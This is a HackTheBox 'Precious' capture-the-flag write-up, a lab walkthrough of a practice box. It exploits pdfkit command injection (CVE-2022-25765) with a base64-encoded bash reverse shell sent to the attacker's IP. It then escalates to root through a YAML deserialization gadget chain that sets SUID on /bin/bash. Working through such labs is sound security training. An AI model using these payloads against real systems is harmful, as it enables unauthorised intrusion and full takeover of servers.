# HackTheBox - Precious

P.S.: This write-up is also available on Russian: [link](https://donnoway.hashnode.dev/ru-hackthebox-precious)

## Introduction

---

This write-up explores the effects of exploiting critical command injection vulnerability (CVE-2022-25765) in pdfkit. Pdfkit - Ruby “gem” that creates PDFs using plain old HTML+CSS. This box will show you how to exploit pdfkit vulnerability and get a remote connection to the server via reverse shell. And it all finishes with unique horizontal privilege escalation.

---

## Enumeration

Always the first thing to do is scan the target IP address with Nmap to check what ports are open. But i personally prefer [threader3000](https://github.com/dievus/threader3000)(clickable link)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106548517/0f65bded-3eaa-48b0-91bc-b99121dc9106.png align="center")

It just scans ports very fast and then puts open ports to nmap for the detailed scan(-sC for default scripts and -sV to enumerate versions)

### Detailed Nmap Scan:

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

And we see 2 ports open, port 80 will be the priority.

### HTTP Server:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106620378/8456cdce-db4d-40d3-a2da-55a04ec6f676.png align="center")

Looking at the webserver root, we get redirected to precious.htb, so, we need to add it to /etc/hosts

```bash
# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1       localhost
::1             localhost
127.0.1.1       archlinux.localdomain   archlinux
#THM

#HTB

10.10.11.189    precious.htb
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106649697/334cd57c-8510-4cea-830c-c4685bae0480.png align="center")

Now we talking! Here you can see a simple converter panel, that says “Convert Web Page to PDF”, let’s start a simple HTTP server and try to convert it!

```bash
sudo python3 -m http.server 80
```

Notice, I'm running it with sudo because it needs root access to open port 80

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106690508/59fbe3e1-edd4-4766-9dd4-86968fda16a9.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106702087/7cf44252-6061-4c2d-861e-1f52c92081b7.png align="center")

Okay! We got our PDF file back, it looks like anything is completely normal. Let’s examine metadata by using Exiftool

```bash
exiftool [PDF file]
```

```bash
ExifTool Version Number         : 12.50
File Name                       : 3hf2r90s59z1pypm38vqa0ho54pwf19h.pdf
Directory                       : .
File Size                       : 19 kB
File Modification Date/Time     : 2023:01:12 20:53:23+06:00
File Access Date/Time           : 2023:01:12 20:53:48+06:00
File Inode Change Date/Time     : 2023:01:12 20:53:40+06:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6
```

Take a look at the last line, it says “Generated by pdfkit v0.8.6”, if we ever come across a version number it’s always a great idea to research that particular version on Google. A quick Google search using the keywords “Generated by pdfkit v.0.8.6” reveals an [article](https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795) that discusses the in-depth exploitation of the CVE-2022-25765 vulnerability within this application.

You can learn more about command injection here:

[TryHackMe Room](https://tryhackme.com/room/oscommandinjection)

[PortSwigger Academy](https://portswigger.net/web-security/os-command-injection)

---

## Exploitation

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106732711/546d245b-9ad4-4808-bea7-4a35b31c0cae.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106741635/a3e038f3-2ffb-431f-84a2-387f8f3ff646.png align="center")

Everything inside the backticks will be executed on a victim machine, let’s put the reverse shell payload!

First of all, putting bad symbols like ‘ /, and etc is a bad idea. Cuz it’s command injection 🙂

This is the basic payload:

```bash
bash -i >& /dev/tcp/10.10.14.76/9001 0>&1
```

Encode it to base64:

```bash
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE=
```

Then, add decoding and execution:

```bash
echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE= | base64 -d | bash
```

We are almost done, now put anything in the URL:

```bash
<http://10.10.14.88/?name=%20`echo> -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Ni85MDAxIDA+JjE= | base64 -d | bash`
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106792202/a905a61e-9d14-45b6-815b-e5c2f370c2a4.png align="center")

Nice! We got it!

---

## Post-Exploitation

The first thing that I'm always doing is stabilize my terminal(cuz it’s a reverse shell, and anything is buggy)

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

```bash
CTRL + Z
```

Go back to your terminal, and type

```bash
stty raw -echo;fg
```

Then hit enter twice, here you go! Now u have command history, normal CTRL+C and autocompletion.

### Vertical Privelege Escalation

Besides us, there is another non-root user on the machine

```bash
cat /etc/passwd |grep sh$
```

```bash
root:x:0:0:root:/root:/bin/bash
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash
```

In our home directory, we see an interesting folder “.bundle”

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106864919/dc9a85d9-ca09-4d8e-94b4-f35a1ce724d5.png align="center")

Inside, we have Henry's credentials, how easy is that!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106886539/b941be58-ac09-4287-821d-457f5d7e60b9.png align="center")

Let's just ssh into Henry!

```bash
ssh henry@precious.htb
```

And we got the user!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106926451/18d8f2fc-3ea1-4ee1-83de-1818671618cb.png align="center")

### Horizontal Privelege Escalation

When I have a password from a user, the first thing I always check is sudo

```bash
-bash-5-1$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
```

Let’s investigate the update\_dependencies.rb file

```bash
-bash-5.1$ ls -la /opt/update_dependencies.rb
-rwxr-xr-x 1 root root 848 Sep 25 11:02 /opt/update_dependencies.rb
```

```ruby
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
```

Notice, this ruby script uses YAML, we can try Dynamic Code Evaluation with YAML Deserialization attack

You can learn more about YAML Deserialization here:

[Awesome Blogpost](https://infosecwriteups.com/learning-more-about-yaml-deserialization-9c08093b4a3d)

Firstly, create a file in your home directory, and call it “dependencies.yml”, then insert this:

```ruby
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "chmod +s /bin/bash"
         method_id: :resolve
```

Anything in git\_set is gonna be executed by root, so let's just give bash SUID.

Now run the command with sudo

```bash
-bash-5.1$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
    ...
```

Hmm, nothing special, let’s look at /bin/bash:

```bash
-bash-5.1$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash
```

Nice! Now just type:

```bash
bash -p
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1692106978998/dc3bdfb1-5b72-4393-8d95-593dec8b8c89.png align="center")

Good work!

In conclusion, I would like to say that this machine is quite simple and very well suited for beginners. Nothing very special, just a regular easy box. That’s it for today, I hope you enjoyed it, happy hacking!
